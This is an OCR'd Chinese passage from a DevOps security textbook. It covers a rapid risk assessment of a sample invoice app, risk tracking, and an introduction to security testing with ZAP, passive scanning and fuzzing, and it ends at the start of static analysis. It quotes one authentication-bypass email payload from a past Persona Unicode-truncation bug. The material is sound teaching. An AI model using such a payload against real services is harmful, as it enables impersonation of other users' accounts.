目标受众。接下来列出的是服务的责任人。在RRA框架中，负责服务的是个人或 

团队（当服务由团队负责时，团队经理会被列为责任人）。服务责任人最终对服务 

的安全性负责,并决定如何处理识别出来的风险。

在应对事件时，识别出服务责任人也很有意义。在拥有数十个（如果还没有达 

到数百个）服务的组织中，定位某个特定服务的责任人有时可能会很困难。在RRA 
中搜集到的这些信息可以为将来省下时间 。

这份表格还记录了其他参与运行服务的人员（这里是开发人员和运维人员），
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还有执行RRA的人员名单。

服务名称 发票应用

说明 ー个为《DevOps保障》搭建的管理发票的简单REST API

受众 客户

服务责任人 IT服务团队 Trevor

其他联系人 开发:Max, Karen J运维 ：David

风险分析师 安全团队 Sam

图11.2 RRA评估电子表格的表头标明了服务、服务目的和相关人员。

下ー步是让团队成员对服务的功能有一个基本的了解。RRA通常由安全团队的 

成员组织，形式是服务责任人和相关工程师参与的一个1小时会议。此时,安全团 

队对该服务还ー无所知,因此第一个合乎逻辑的要求是对其功能和工作原理有一个 

高阶全面的了解一来ー场电梯演讲。

信息收集阶段的目的有两个。首先是打破僵局,让工程团队讲出他们的工作。 

这是他们的主场,你要做的就是倾听和记录，如图11.3所示。有时候，和不认识的 

人讨论风险可能会让人觉得有些不自在,他们有可能怀疑你的工作，也有可能还没 

有做好接受反馈的准备。从大体的架构和实现开始讨论（理想化的开发人员可以通 

过分享图表和文档来引出这些讨论）,统一大家的思路，并逐步展开更深入的讨论。

概要记录

发票应用是供客户管理发票的API

该应用采用G。语言开发并托管在AWS上。它由负载均衡器、应用服务器和一个PostgreSQL数据库组成

用户通过OAuth登录他们的个人账户来访问数据

发票包含了客户的敏感信息（账户信息、地址、费用明细,等等）

有一个供用户查看、上传和删除发票的Web界面

应用以Docker容器的形式部署在EB里.容器用Circled构建并上传到了 Docker Hub上

数据库由AWS自动备份，每小时生成一次快照。全部都存储在AWS的主账户里

图11.3服务的业务用例和大体实现被记录成笔记。

其次，这个阶段能获得对服务的技术理解。这是一把双刃剑，因为你也不想将 

讨论陷入到实现的细节中。保持高阶视角，理解服务背后的用户故事，将细枝末节 

的讨论重新拉回到应该聚焦的问题上。

以发票应用为例，笔记描述了业务用例，十分简单直接，还给出了服务的实现 

思路。笔记的数量取决于待审查的服务的复杂性和你在组织工作中积累的经验。基 
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于同一个模型，在审查完20个微服务之后,技术实现笔记的篇幅会显著减少。在 

评估进行到这里时，你应该已有了足够的了解,可以开始通过提问来充实数据字 

典了。

11.6.2 建立数据字典

所有的风险评估方法都聚焦在数据上,RRA也不例外。在数据字典这ー小节, 

你要记录服务管理的信息类型并进行分类。图11.4中的表格展示了发票服务管理的 

数据。分类的等级就是在本章前面讨论机密性时定义的等级:

• 发票服务管理的最敏感的信息是客户发票。这些可能包含隐私信息,应该只 

允许与特定个人共享。

• 服务运维所需的一些技术信息,如电子邮件地址、数据库凭证和应用日志, 

应该只能由运维团队访问，因此这些信息应当标记为这些工作组的机密。

・ 发票服务还能够通过发票总数来计算收入。这个信息,即总收入，通常每季 

度公布一次，在此之前只有员工可以访问。这个信息被归为员エ机密。

・ 应用的源代码有时可能具有自己的保密性。在这里，该应用是开放源代码, 

每个人都可以访问它,所以它的机密等级是公开的。

数据字典

名称 分类 补偿控制，如果存在的话 是否包含可以公开识别的信息（IP地址等）

发票 只允许特定个人访问

客户邮件地址 工作组机密 在登录时作为主要的身份识别信息

数据库凭证 工作组机密 只有AWS可以使用

应用日志 工作组机密 包含可以公开识别的信息（IP地址等）

总收入 员エ机密 每季度公开一次 支付服务中也可用,如果泄露不会产生危害

应用源代码 公开 已经公开在GitHub上

图11.4 RRA的数据字典列出了由发票服务处理的重要信息,并定义了这些信息的机密性要求。

RRA数据字典有时很难填写,要么是因为数据太多（服务太大）,要么是因为 

参加会议的人所掌握的信息不够全面。在这种情况下，你要关注最敏感的信息,并 

确保这些信息被正确地记录在电子表格里。

在审查期间经常会碰到另一个问题:服务的数据字典中应该包含多少基础设施 

信息。如果组织的所有服务器都需要API密钥来向中央监控系统报告它们的状态, 

那么需要在数据字典中列出每个服务的API密钥吗?这得视情况而定。如果可能, 

核心基础设施及继承它的所有服务都应该单独审查。但是如果没有把握,或者基础 
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设施并没有遵循统ー标准，那么加上这些信息也无妨。

至此,你已经对服务有了良好的理解,并对它所处理的数据有了大致的了解。 

现在可以进入演习的核心并评估风险了。

11.6.3 识别并度量风险

RRA框架将度量按风险的三个维度进行分解：机密性、完整性和数据可用性。 

每个风险维度又继续按影响维度分解为：组织声誉、生产カ和财务。总共9个度量 

维度（三类风险乘以三类影响），需要依次进行审视，并对它们应用快速威胁模型 

及进行影响分析。

首先从机密性（图11.5中的风险表格）开始,它的第一个影响维度是声誉。这 

通常是ー个容易入手的维度，因为人们理解因隐私数据泄露而引起的尴尬。你可以 

这样提问：“如果发票应用的数据库泄漏，并且所有内容最终都出现在Twitter上， 

将会发生什么后果?”然后观察人们在想到这噩梦般的场景时畏缩不前的样子。

图11.5对机密性风险的全部影响维度的评估显示：数据泄漏可能会损害组织的声誉。

安全属性 影响类别 影响 可能性 风险 威胁、 用例及原理

机密性

（信息披露）

声誉 重度

轻度

中度
披露发票应用数据库的内容会让客户不安并影响声誉,但 

并不存在关于隐私方面的合同义务

生产カ 轻度 轻度 服务不是供内部使用的,而是严格面向公众的

财务 中度 轻度
信息披露不会产生直接的财务影响（没有支付信息存储在 

那里）,但可能因为声誉而产生间接的财务影响

这里你还可以运用前面定义的影响等级。如果发票应用的数据库泄漏了,客户 

会很不高兴，专业媒体可能会报道这个消息并持续关注一段时间,而公司将不得不 

发表道歉声明。这会造成混乱，但还不足以让公司垮掉（2014年泄露了 7000万名 

客户信用卡卡号的Target也“挺” 了过来），因此机密性破坏的风险对公司声誉造 

成的影响被评定为重度。

风险表里还有一列是可能性，整个机密性维度只有一个值。在RRA框架中, 

可能性的用途有限,它记录的是服务可能被选为攻击目标的明显指标。这些指标可 

能是服务无法达到运营标准的信息,说明服务可能正在遭受攻击，或者服务已经取 

代了之前自身受到攻击的服务，或者组织内外的类似服务正在受到攻击。在本例中, 

没有任何迹象表明发票服务是被优先考虑的攻击目标,因此受到攻击的可能性很低。

生产カ和财务风险也按照同样的过程进行度量。这个服务是面向客户的,因此 

生产カ的影响较低,但声誉的损害会引发财务风险,因此被标记为中度影响。由于 
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受到攻击的可能性较低,因此这两类影响的风险都较低。

影响和可能性相乘得到的乘积就是风险等级。这完全不需要公式来计算,你可 

以使用图11.6所示的表格，根据影响和可能性来确定风险等级。

图11.6风险等级由特定威胁的影响和可能性决定。

风险

可能性

轻度 中度 重度

影响

轻度 轻度 轻度 中度 中度

中度 轻度 中度 重度 重度

重度 中度 重度 重度 极度,

极度 中度 重度 极度 极度

我们继续分析,时发票的完整性风险进行评估。如前所述，与工程师讨论完整 

性永远是ー个棘手又有趣的话题。这需要安全人员绞尽脑汁并尽情发挥，设计出复 

杂的方法来修改数据。

对于这个项目,很明显，篡改发票会使受到影响的客户不高兴，对组织声誉造 

成和数据泄漏类似的影响。但是这里有一个有意思的问题，如果攻击者重写了数据 

库中的发票且没有人发现，那么组织将会发生什么情况呢?

这可能会对财务产生巨大影响,因为发票将不再被信任，也就无法向客户收费。 

公司将无法收回款项，现金流将枯竭，整个组织将面临崩溃的风险。这时你要将影 

响标记为极度等级。

在这个例子里，你的分析可以更进ー步,假设该组织的另ー个服务最近发生了 

数据篡改事件。而使用类似方式托管的发票应用也会面临同样的风险。所以,你可 

以将可能性提升到中度等级来体现这一点。在图11.7的表格中，极度等级的影响和 

中度等级的可能性决定了风险达到了重度等级。

图11.7对完整性风险的全部影响维度的评估显示：篡改发票的攻击者可能会严重损害组织的财 
务健康。
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风险表 ,

属性 影响类别 影响 可能性 风险 威胁、用例及原理

完整性

声誉 重度

中度

中度 篡改发票会让客户不安并影响声誉

生产カ 轻度 轻度 -

财务 极度 重度
篡改发票会让组织无法收集支付信息并严重影响现金流。由于之前 

类似服务出现过问题,可能性提升到了中度

最后，可用性风险评估也用类似的方法,如图11.8所示。发票应用服务供客户 
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使用，任何停机都会让他们感到沮丧。服务不可用被认为不会给客户带来严重的恐 

慌,因此声誉影响是中度等级。由于该服务不针对内部用户,因此对生产カ的影响 

是轻度等级。然而,财务影响被认为是重度等级，因为服务不可用会让客户无法获 

取发票及支付账单。如果停机时间超过几天，停滞的现金流可能会造成账面上的麻 

烦，但不足以让组织危如累卵，因此最终的风险等级是中度等级。

风险表

安全属性 影响类别 影响 可能性 风险 威胁、用例及原理

可用性

声誉 中度

轻度

轻度

服务的停机可能会让用户不安,但该服务并非是影响 

所有用户的关键服务,并且并没有对外宣称可用性保 

障的程度

生产カ 轻度 轻度 -

财务 重度 中度
停机期间客户将不能为发票付款,现金流会因此中断, 

但只会中断一小段时间

图11.8对可用性风险的全部影响维度的评估显示:服务不可用可能会对组织的财务造成中度损害 。

在一次典型的RRA评估过程中，大约30%的时间会花在风险表格上，当服务 

复杂或不常见,而威胁建模需要更长的时间时，投入在风险表格上的时间就会更长。 

不过,评估团队应该可以在20分钟内填完这三张表格。如果超过了 20分钟还填不 

完，或者填不下去，可能是因为待审查的服务的范围太大，这时就需要分解成更小 

的模块。相较于大型系统，RRA模型更适用于小型组件。

这9个维度的风险等级最终形成了如图11.9所示的汇总表，这张表格清楚地显 

示了最重要的风险是服务的完整性，因为它可能会损害组织的财务健康。

图11.9汇总表展示了全部9个风险度量维度，会对财务造成重度等级影响的完整性风险被显现 
了出来。

RRA评估的最后ー个阶段是给出关于如何降低评估中识别出来的风险的建议。

11.6.4 给出建议

RRA评估的目的不仅是识别和量化风险,而且还要帮助工程团队尽可能地减少 

这些风险，这一点尤为重要。因此,最后一份评估电子表格要记录会议中提出的建议。
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这份表格中的内容通常会在对威胁进行建模和讨论影响时被补充进来，因为当 

工程师遇到问题时，他们会情不自禁地跳到可能的解决方案中。你应该鼓励这种行 

为，记下这些建议并排出优先级,如图11.10所示。

图11.10在RRA期间给出的安全建议将被优先考虑。

概要记录 优先级

定期对数据库进行离线备份,以便在AWS完全崩溃时恢复 高

发布详细的应用日志，识别并标记出短时间内访问大量发票的单个用户或跨大量账户访问大量发票的 

单个用户
高

保留发票变更的历史记录,供客户和运维人员审核变更时使用 中

安全建议为安全团队提供了影响项目架构的机会，比如分享其他团队或组织的 

最佳实践，或者提出减轻风险的替代方案，这些都是可取的形式。讨论的内容不ー 

定是技术性的,因为用户与服务交互的实现方式有时也可以达到减轻风险的目的。

在最好的情况下，安全团队甚至不需要提出建议，因为工程团队在风险评估阶 

段就意识到了他们的差距，并且已经在讨论解决方案了。这是你所期望的最好结果， 

这体现出了对新项目进行风险评估的真正价值。

在我参加过的ー些评估会议上,工程团队决定根据对风险的新理解彻底重新设 

计他们的项目。另外一些项目则顺风顺水,对于所有在评估过程中发现的风险,他 

们早已在考虑并制订降低这些风险的计划。我会不时地发现ー个项目在经过RRA之 

后会比开始时更简单，因为评估显示很多技术复杂性并不是必需的。

你的经历可能会有所不同，但是RRA不太可能产生出毫无意义的结果。如果 

是这样，后果也不算严重，因为整个活动只需要一小时,而不是三星期。在深入讨 

论了风险如何发现和如何评级的细节之后，我们将在本章的最后ー节讨论风险在组 

织中的生命周期。

11.7记录并跟踪风险
小型组织很清楚它们最大的风险，包括业务和技术两方面。随着组织的发展壮 

大,风险的跟踪也变得越来越困难,组织需要更好的流程来记录、处理、跟踪和回 

顾风险。

至少，在RRA电子表格中找出的建议应该被记录下来,并成为公司问题跟踪 

系统中的工作项。你很可能需要一个自定义工作流，将能减轻风险的工作方式和组 

织管理工作方式结合在ー起（使用JIRA上的Ticket、GitHub上的Issue、Bugzilla ± 
的Bug或其他工具）。图11.11展示了 Mozilla的风险记录Bug,它被用来跟踪项目
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的风险评估和建议。每条建议都用自己的Bug跟踪，每个Bug都记录在其父风险 

记录Bug之下。风险记录是在执行完服务的RRA评估之后创建的,该Bug只有 

在服务完全停止之后オ会关闭。这个工作流将风险跟踪过程与服务生命周期绑定 

在了一起。

确保组织中的相关人员能够访问风险数据,这比记录和跟踪风险的方法更重要 。 

许多风险管理的努力最后失败的原因是,安全团队没有将风险跟踪与组织分派工作 

的方式联系起来。要想获得成功,风险必须采用类似于产品新特性的方式来管理， 

而且工程团队必须能够在他们的路线图中跟踪可以减轻风险的工作。

Bug 1210200

Risk Summary: SyncTo Server
RESOLVED FIXED

修 Status

People (Reporter: ulfr, Assigned: tarek)

► Tracking

► Details (Whiteboard: RISK=MEDIUM IMPACT=HIGH LIKELIHOOD=LOW DATA=RESTRICTED)

Attach File | Add Bounty Tracking Attachment

nn Julien Vehent [:ulfr] ▼ (Reporter)
Description • 2 years ago

Risk Assessment: r.ttps://docs.google.com/spreadsheets/d/IfFxVSpdkO771

I Summary

I Data handled: CONFIDENTIAL-RESTRICTED

! Risk: MEDIUM
Impact: HIGH

Syncto is a layer that provides the Kinto API to Firefox OS devices i 
：Firefox OS devices to use the Syncl.5 service without speaking its pr

图11.11 Mozilla的问题跟踪系统中的风险记录Bug,它用来记录名为SyncTo Server的项目的 
RRA评估结论,并跟踪与建议相关的工作。

随着组织中执行的风险评估越来越多,安全建议的实施将越来越难以跟踪。ー 

个好的跟踪系统或许能帮上忙,但是你应该考虑以下两点：定期重新评估和接受风 

险。我们将在接下来的小节中讨论这两个问题。
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11.7.1 承担、拒绝或转移风险

在RRA评估中首先要做的一件事情就是找到发票应用的责任人。责任人不仅 

是对服务运营负责的人，而且还是风险决策的唯一负责人。

经营业务就需要接受风险，而且风险评估提出的建议几乎不可能全都落地。责 

任人的角色需要做出承担哪些风险和拒绝哪些风险的决定：

«承担风险意味着不需要采取进ー步缓解措施来降低风险，责任人代表组织承 

担这个决定带来的后果。这些决定一直都在做,而且这是运营业务的自然组 

成部分，所以安全团队不应该对此感到惊讶。正确的处理方法是要求责任人 

以书面的形式接受风险，最好能记录在问题跟踪系统中。

•拒绝风险意味着需要采取对策，能将风险的影响降到可承受的水平。一般来 

说，这意味着在RRA过程中提出的安全建议要部分或者全部实现。

第三种处理风险决策的方法是转移。企业一直都在通过雇用第三方来执行特定 

的任务或提供特定的服务。第三方不仅要对工作负责，还要承担其中的风险。在发 

票服务这个例子里，组织可以与供应商签订运营服务的合同,然后将风险完全转移 

给第三方。

无论用哪种方法，安全团队的职责都是正确地记录风险决策，这样责任人就要 

承担责任,未来的经理就可以追溯已经做出的决策并进行审计。

11.7.2 定期回顾风险

DevOps组织行动迅速，它们的发布周期也很快,而且其产品和服务的变化速 

度比任何风险评估模型的速度都要快得多。即便使用了 RRA这样的轻量级框架,也 

不太可能对每个服务的每个新版本都进行评估。

风险管理的ー个重点是保持风险数据具有相对时效性。这并不是说每ー个项目 

每周都要跟踪并刷新评估,但你应该计划每年至少刷新ー次评估。

你还应该好好利用组织的问题跟踪系统,并且设置好提醒,每12个月刷新一 

次评估。由于重构或其他主要架构的变动，有些项目需要更频繁地刷新，但大多数 

项目在一年内可能不会改变太多。

在回顾评估的时候，确保责任人的信息是准确的，然后重新回顾数据字典，最 

后再深入风险。运转良好的服务数据库ー开始常常很简练,但随着时间的推移，数 

据库的字段也会越加越多,因此回顾应用处理的信息可能会带来新的问题。风险评 

估将自然而然地跟上数据讨论的节奏。
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11.8本章小结
«风险管理是指导和控制组织风险的ー组协调性活动。

• CIA三要素（机密性、完整性和可用性）是ー种对信息的安全需要进行分类 

的常见模型。

• 建立信息机密性等级,就是准确地定义出谁可以在给定的时间访问这些信息 。

• 完整性代表了数据在整个生命周期中保持精确和不变的需要。

• 可用性度量的是在一段较长的时间内特定信息片段的可达性。

• 特定风险的影响可以用财务、声誉和生产力三个维度的等级来评估。

• STRIDE和DREAD提供了模型,对组织面临的威胁进行评估和评级。

• RRA框架是ー个轻量的评估流程,它能帮助安全团队在应用和服务开发之初 

识别出风险。

• RRA包括四个组成部分：信息收集、数据字典、风险识别和安全建议。

«组织通过记录和跟踪风险,随时保持对其安全形势的了解。
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测试安全性

本章内容包括

・ 为组织构建一套安全性测试策略

■ 运用四种技术对应用安全性进行人工审计

・ 与外部安全公司有效地合作

・ 建立和维持Bug赏金计划

在本书的第1部分，我们一直遵循测试驱动安全（TDS）的理念，将安全测试 

直接集成到了 CI/CD流水线中。这样,我们可以先对新版本的服务和应用进行测试, 

然后オ将其投入生产。在这种理想的状态下,安全问题可以迅速从发现转向修复。

然而，大多数组织的实际情况是，只有部分应用和服务可以在流水线中被正确 

地测试。TDS可以捕捉到明显的错误,并确保上线的产品符合组织安全基线的要求, 

但它无法捕捉那些隐藏在代码或基础设施深处的细微漏洞。我们需要更复杂的测试 

方法才能发现这些问题。

在本章我们将讨论三种安全测试方法，它们可以帮助DevOps环境增强对攻击 

的抵抗力。首先,我们将介绍内部安全团队如何使用自动化工具及如何开发人工技 

术来审计应用。然后，我们将讨论聘请外部安全团队执行有针对性的受控攻击的价 

值。最后，我们将讨论关于Bug赏金计划的概念，这是ー种激励和奖励外部安全研 

究人员测试服务的方法。
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我将在本章简要介绍各种安全工具，但重点是建立一种适合DevOps环境的安 

全测试策略。我们的主要目标是尽可能高效地维护整个组织的安全可见性。

12.1 维护安全可见性

回到第1章,你接触到了持续安全模型,如图12」所示,这是ー种机制，用来 

帮助组织逐步提高其创造的产品的安全性。现在，我们将视线转向模型的左边：评 

估风险并完善安全性。反馈环中的挑战在于我们要定期更新产品认知,并确保安全 

策略能够涵盖系统演进过程中的新风险。

持续交付(CD )将打包的应用弼署到演
应用源代码在持续集成(CI)中进行管理，其中 蹩黜這驚鰹试被执行’然后将
的自动化测试保证了软件质量和安全。 变更提升到生产环境中。

客户使用应用并提出影响未来改进的反馈。

图12.1正如第1章介绍的那样，持续安全模型提供了一种迭代机制，并且随着时间的推移不断 
增加组织的安全性。

在构建测试策略时,我们的目标是维护安全可见性，以便在组织成长和扩张 

的过程中持续地了解组织的优势和短板。我们在第11章中讨论的风险评估,它 

通过发现风险和推荐安全控制来参与安全可见性的维护。用测试来强化这些控制， 

以便找出它们是否需要改进，这就是我们获取最准确的组织安全形势数据的方法。 

通过RRA发现风险,并实现安全控制和测试这些控制的流程,如图12.2所示。
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图12.2安全测试是一个集成到产品生命周期中的人工流程，目的是强化安全控制的实现及模拟 
攻击者的行为。

这看起来可能与第1部分CI/CD流水线中集成的安全测试类似，但是这里的测 

试要深入得多。TDS可以非常有效地验证：控制是否按照事先定义好的基线来进行 

正确实现，但是在CI/CD流水线中,执行更深入的测试则有些不切实际，因为这意 

味着CI/CD流水线要在几分钟之内完成。我们现在讨论的这类测试需要花费很长时 

间才能完成，这类测试通常需要借助各式各样的工具和人类的智慧。运行时间很长 

的测试并不总是可以自动化的。因此，这些测试也并不总是适合集成到CI/CD流水 

线之中。本章我们要讨论的是模拟真实攻击者的测试,这些测试过于复杂，难以在 

完全自动化的环境中完成。

人工安全测试将帮助你增进和更新对组织必须防范的威胁的理解。TDS测试的 

是那些已知的对象,它们已经成为了安全基线的一部分，但这只是杯水车薪，现代 

服务面临的攻击向量有数千种，其中能被覆盖的只有一小部分。安全团队需要温故 

知新，不断地更新安全基线。无论是内部执行还是在第三方的帮助下执行,安全测 

试都是了解新的攻击向量和跟进最新漏洞的好方法。

下ー节我们将讨论内部安全团队是如何进行人工测试的。

12.2 审计内部应用和服务

利用现有的工具和人工执行的控件测试，内部安全团队就可以做不少事情。本 

节我们将讨论如何使用人工的和自动化的工具对内部应用和服务进行第一级安全性 
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测试。我们将讨论Web应用的漏洞扫描、模糊测试、静态代码分析和AWS基础设 

施测试。我们的目标是快速熟悉每个工具家族,了解应该何时及如何使用它们。

在我们深入讨论测试工具之前,需要提醒你一点：内部安全团队很难转换视角 ， 

即从专注于保护组织转移到攻击应用和服务。对大多数安全团队来说,排在第一位 

的工作是保护好基础设施,他们很少有时间去钻研黑客技术。他们被称为蓝军。尽 

管学习足够危险的安全测试是对工程师时间的极大利用,但是更有效的方式可能是 

获得外部帮助及雇用专门的红军。下ー节我们将介绍如何与外部安全公司合作。

红蓝对抗

信息安全术语“红军”和“蓝军”分别代表了在演习中攻击基础设施和保 

护基础设施的团队。这两个词来自军事领域,攻击性的红军对战略要地施压, 

而蓝军则负责保卫它。

"红军演习”描述的是ー种渗透测试(Penetration Test或Pen Test),即雇用 

一群专家在测试中攻击目标。美国陆军训练与条令司令部(TRADOC, The US 
Army Training and Doctrine Command )将红军演习定义为“训练有素、受过教育、 

熟练的团队成员执行的有组织的迭代过程,它能够为指挥官提供ー种独立的能 

力，让指挥官能够站在友军和对手的角度上,结合作战环境，不断挑战计划、作战、 

观念、组织和能力。”

蓝军是附属于组织的安全队伍，负责阻止红军前进，保护目标。

这种演习也经常在安全会议上进行，被称作“抢旗(CTF, Capture the 
Flag

扫描Web应用漏洞可能是开始人工安全测试的最佳场所。下ー节我们将讨论如 

何使用OWASP ZAP及其他工具来实现这ー目标。

12.2.1 Web应用扫描器
我在第3章介绍了如何使用OWASPZAP来扫描Web应用，用它在CI/CD流水 

线中执行自动化基线扫描。专注于扫描Web应用漏洞的自动化工具有很多，ZAP只 

是其中之一。这类扫描工具还有Burp Suite、Arachni> SQLMap及N汰to。尽管整理 

ー份完整的工具清单并保持更新是很困难的，但是你可以在链接12.1中查看这份由 

OWASP管理的清单。

Web应用扫描器采用类似的方式:像Web浏览器ー样浏览应用的HTML页面， 

并向页面中的各种组件发送预先定义好的攻击请求。ー些扫描器专注于特定类型 
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的攻击,例如,SQLMap专门对应用进行SQL注入。其他工具（如ZAP、Burp和 

Arachni）则都是通用的，它们支持扫描各种类型的攻击。

可以从链接12.2下载ZAP，然后使用归档文件中的zap.sh脚本启动。你可以在 

用户界面上输入URL to attack,它将扫描ー个目标，ZAP会探索目标的所有页 

面（爬虫）并启动自动攻击，如图12.3所示。

目标URL ZAP发送的请求列表

图12.3 OWASP Zed Attack Proxy （ZAP）的主界面显示了扫描器如何指向目标URL!以及爬取 
应用页面并自动启动攻击。

在ZAP完成漏洞扫描之后，它将显示一个需要注意的告警列表。图12.4显示 

了 ZAP完成对发票应用扫描之后的用户界面。左下角列出了 9个告警，其详细信息 

显示在右下角。我们的讨论并不会关注这些告警的细节，但是你完全可以自己运行 

这些扫描，查看详细的输出。
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某次HTTP请求响应的细节

找到的漏洞列表 某个漏洞的细节

图12.4 ZAP界面显示了发送给发票应用的可疑请求的详细信息。这里左下角的窗口列出了潜在 
的问题，其中就包括了 CSRF漏洞（第3章介绍过）。

需要注意的是,告警并不等同于漏洞。像ZAP这样的工具会尽可能地减少误报， 

但扫描结果难免会出现相当数量的误报。误报是造成漏洞扫描器难以实现全面自动 

化的另ー个原因。复杂的安全测试离不开人类的智慧。

被动模式扫描

Web漏洞扫描器还有一个问题:它们对现代Web应用的认知存在局限性。爬 

虫需要了解网站结构才能提高效率，而网站的发展速度往往比安全工具的发展速 

度要快。在2005年前后，在Ajax成为Web标准时，能够向使用了这种新方法的 

应用发出Web请求的扫描器少之又少。2010年左右，在当时还算先进的应用采用 

WebSocket协议时，历史又重演了。几年之后,Faeebook又推出了 React Web框架 

和虚拟文档对象模型（DOM, Web页面的内部树结构）。当基于JSON的Rest API 
兴起时，这又与D0M没多大关系了。当每次重大创新出现时，Web扫描器的支持 

总是会慢ー拍。在扫描器支持之前,安全工程师找不到合适的测试工具。

有一种方法可以解决这些问题，在被动模式下使用Web应用扫描器。这种方法 

将扫描器作为代理,让来自Web浏览器的流量通过扫描器转发给应用，这样扫描器 

就可以分析流量中的漏洞了。图12.5显示了 ZAP是如何被置于Firefox和目标网站 
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之间来静静地完成流量检查的。在这种操作模式下,扫描器自身不会注入任何流量， 

所有网站交互的繁重工作都由浏览器完成。安全工程师通过这种方法可以像用户那 

样正常地浏览Web应用，同时记录下交互的过程并分析其中的安全缺陷。这种方法 

很好地利用了浏览器对Web技术的广泛支持,这就是它的优势所在。

注意 如果要拦截HTTPS流量就需要将ZAP作为受信任的拦截代理 配置步 

骤在官方文档中有描述（链接12.3 ）。

目标网站

HTTPS由拦截代理解密,流量 

根据被动规则集记录并检查。

图12.5 ZAP可以拦截Web浏览器和目标网站之间的流量,进行被动检查,无须直接发起请求。

Web应用扫描工具的价值在于覆盖了大量难以通过人工进行测试的漏洞。学会 

使用这些工具中的任何ー种都需要花费ー些时间，而且这么多选项就已令人眼花缭 

乱了（光是ZAP的功能就能写一本书）。还好，默认的扫描配置通常都还不错，只 

需要几次点击或几条命令就可以开始工作。要想更上一层楼的话，你还可以好好利 

用活跃的用户社区，大多数的工具都有这样ー个社区,他们接纳初学者，分享技巧 

并解答有关扫描技术的问题。

花些时间将Web应用扫描器集成到安全测试策略之中，这对任何安全团队来说 

都是有好处的。尽管这些工具永远不会像老练的攻击者那样狡猾，但是它们用起来 

不难,并且可以发现那些常见缺陷，并覆盖最起码的分析层。

下ー节我们将讨论另ー类安全性测试工具,它们被称为模糊器（fiizzer）。

12.2.2 模糊测试

对于把安全工程师折磨地合不上眼的事情，在面向互联网开放的软件中，那些 

隐藏着的漏洞肯定能排在前几名。与上世纪90年代末相比,现在在网络守护进程 

中发现缓冲区溢出的情况肯定要少得多，但是这类问题的影响仍然很大，并且找起 

来也很困难。

多年来,我一直在研究这些“几乎不可能找到”的漏洞。每次当它们突然地出现 

时，我能做的就是坦然面对，承认这是我们之前没有发现的又一个隐藏的攻击向量。
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这其中就有2016年在Persona服务中出现的那个问题，它影响了应用MySQL 
数据库对UTF-8字符的处理（链接12.4）. MySQL默认配置utfB只支持Unicode字 

符空间的ー个子集。MySQL服务器需要启用utf8mb4字符集,这样才能正确处理整 

个4字节编码的Unicode字符集。

Persona数据库当时使用的是存有问题的默认配置utf8, ー个有趣的问题出现了： 

如果电子邮件地址含有那些没有被默认配置包含的Unicode字符,数据库就会截断 

这些未知字符值上的字符串。攻击者可以利用这个漏洞提供这样的电子邮件地址： 

targetuser@example.net \U0001f4a9\n@attackerdomain.example.com，其中 targetuser@ 
example.net是受害者的电子邮件地址,而attackerdomain.example.com则是由攻击者 

控制的域。MySQL用中间的Unicode字符、UOOOlf4a9 （“便便”表情符号）将字符 

串截断,攻击者会被认证成被害者的身份，但却可以使用自己的域。

这有点复杂,不是吗?而且非常致命,因为任何人都可以利用这一点绕过公开 

的Persona服务上的身份验证。更加戏剧化的是,发现这个问题的同事在周五晩上 

10:30报告了此事!值得庆幸的是，开发团队、运维团队和安全团队紧密配合，我 

们只用了不到3小时就写好了修复程序，完成了测试并部署到了线上。

我们能赶在将数百万用户置于险境之前发现这个问题吗？如果我们找对了地 

方,就一定能找到。Unicode问题相当常见,经验丰富的红军一定会把它列在检查 

清单上。这也是一项特别适合用模糊测试工具来自动处理的任务。

模糊测试（fizzing）是将无效或畸形的输入注入程序接口的过程，目的是在处 

理上述输入时触发漏洞。在前面的例子中,含有无效Unicode字符的电子邮件地址 

是ー个典型的畸形输入,模糊器可以把它注入到Pesona应用中。然而,说起来容易 

做起来难，应用的模糊测试需要做大量的工作，而且通常需要工程师全身心地投入 

才能产出有价值的结果。

模糊器通常分为三类：

•黑盒模糊测试在注入畸形输入时，并不知道应用期望的关于输入逻辑或类型 

的任何信息。这种类型的模糊器用起来很简单,因为将它简单指向一个目标 

就好，但其效果有限。

«基于语法的模糊测试要更智能一些,它把重点放在应用期望的特定类型的输 

入上。例如，图像上传服务很可能接受JPEG和PNG文件来作为输入,而基 

于语法的模糊器可以基于这些格式执行更智能的测试 。

•白盒模糊测试这种类型更为复杂，因为它要利用应用的结构来执行特定的输 

入处理代码路径。这种方法通常效果最好，但需要访问应用源代码或使用特 

别编译的二进制文件。

模糊器的任务是生成数据,将其输入程序,并观察程序的行为。生成输入可能 
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很复杂,这些输入要尽可能地接近应用所接受的内容,但又有足够的差异来触发漏 

洞,这需要进行大量定制。模糊器产生输入的技术通常有两种：

•变异——这种方法需要一个有效的输入并对它进行修改。例如,应用通常接 

受的有效的JPEG图像能够进行转换，来触发应用中的漏洞。

•生成■—这种方法需要输入的语法并生成随机输入，应用可能接受这些输入 

并继续执行。

这两种方法也可以相互结合,例如,通过从语法生成输入,然后对其进行变异 

来探索应用的边界。模糊器可以处理本地应用,通常是针对应用的二进制文件,或 

者通过网络向Web应用发送流量。

American fuzzy lop （AFL,链接 !2.5）和 Radamsa （链接 12.6）都是基于文件 

的模糊器的代表,这些模糊器会生成变异来对应用的输入进行压カ测试。Radamsa 
是黑盒fiizzer,而AFL则是白盒模糊器。AFL使用ー种称为插桩（instrumentation ） 

的技术来了解程序的内部结构,以便能更有效地测试其安全性。应用插桩需要用特 

定的方式编译，因此AFL被称为白盒模糊器。

Burp Intruder （Burp Suite的一部分）和ZAP都提供了基于网络的模糊器，可以 

对Web应用的输入进行测试。这些工具采用应用接受的流量的模板（一般用这个模 

板来爬取流量）,然后使用随机生成器或基于语法对输入进行变异。

图12.6显示了如何使用ZAP对发票应用的输入进行模糊处理。该工具可以指 

向在爬取过程中发现的资源,选择HTTP请求中一个特定的组件（这里是发票的 

ID）,并注入各种格式的随机输入。

即便是使用了自动化工具，但要通过模糊测试发现漏洞还是需要大量的手动エ 

作的。模糊测试的目标越明确，效果就会越好。这就是许多大型软件企业会聘用自 

己的模糊测试团队的原因。Mozilla、Google和Microsoft都有专门从事这类安全测 

试的工程师，他们会不断地发现自己产品中的关键漏洞。

毫无疑问，模糊测试对于一个成熟的安全策略是至关重要的，但是你应该注意 

投入的时间和资源。我建议在深入这个复杂的主题之前，先覆盖其他更简单但同样 

重要的安全主题。模糊测试很重要，但是需要投入更多的时间和金钱才能做好。
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选择一个输入字段作为目标
加载各种预定义语法来驱动输入的生成

图12.6 ZAP支持使用语法和生成的输入对Web应用执行模糊测试。

1 2.2.3静态代码扫描
另ー种检验程序健壮性的方法是在不执行程序的情况下通过分析其源代码,找 

